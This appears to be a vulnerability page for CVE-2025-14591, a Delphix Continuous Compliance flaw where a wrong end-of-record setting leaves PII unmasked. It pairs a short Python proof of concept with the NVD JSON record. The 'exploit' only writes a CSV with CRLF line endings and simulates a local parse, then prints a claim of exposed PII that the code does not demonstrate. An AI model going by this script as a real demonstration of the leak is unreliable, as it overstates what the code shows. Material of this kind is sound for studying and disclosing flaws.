CVE-2025-14591

# CVE-2025-14591 PoC - Delphix EOR Configuration Bypass # This PoC demonstrates PII data leakage due to incorrect EOR handling import csv import io def generate_malicious_csv(): """ Generate a CSV file with mixed EOR characters to bypass PII masking """ # Create CSV content with mixed line endings (CRLF + LF) # This exploits the EOR detection logic flaw in Delphix csv_content = """Name,Email,SSN,CreditCard John Doe,[email protected],123-45-6789,4111111111111111 Jane Smith,[email protected],987-65-4321,5500000000000004 """ # Inject CR character before LF to create mixed EOR malicious_content = csv_content.replace('\n', '\r\n') # For LF-based EOR configuration, this creates parsing ambiguity # The parser may fail to correctly identify record boundaries return malicious_content def exploit_eor_confusion(file_content, configured_eor='LF'): """ Simulate the EOR confusion that leads to PII unmasking """ if configured_eor == 'LF': # Parser expects LF but receives CRLF lines = file_content.split('\n') # CR characters remain, corrupting field parsing records = [] for line in lines: if '\r' in line: # Parser treats \r as part of field data fields = line.replace('\r', '').split(',') records.append(fields) return records return [] # Generate and test the exploit payload malicious_csv = generate_malicious_csv() print("Malicious CSV with mixed EOR generated") print("Content:", repr(malicious_csv)) # Simulate parsing with incorrect EOR configuration records = exploit_eor_confusion(malicious_csv, configured_eor='LF') print("Parsed records:", records) print("PII data exposed without masking!")

{"cve": {"id": "CVE-2025-14591", "sourceIdentifier": "[email protected]", "published": "2025-12-20T04:16:08.017", "lastModified": "2026-01-05T17:58:21.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Delphix Continuous Compliance version 2025.3.0 and later, following a recent bug fix to correctly handle CR+LF (Windows and DOS) End-of-Record (EOR) characters in delimited files, an issue was identified: using an incorrect EOR configuration can cause inaccurate parsing and leave personally identifiable information (PII) unmasked."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:perforce:delphix_continuous_compliance:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.3.0.0", "versionEndIncluding": "2025.6.0.0", "matchCriteriaId": "638B8069-AE36-47E1-A682-8C8AFC1808A4"}]}]}], "references": [{"url": "https://portal.perforce.com/s/article/TB137", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://portal.perforce.com/s/cve/a91Qi000002fThdIAE/pii-leak-due-to-change-in-eor-handling", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}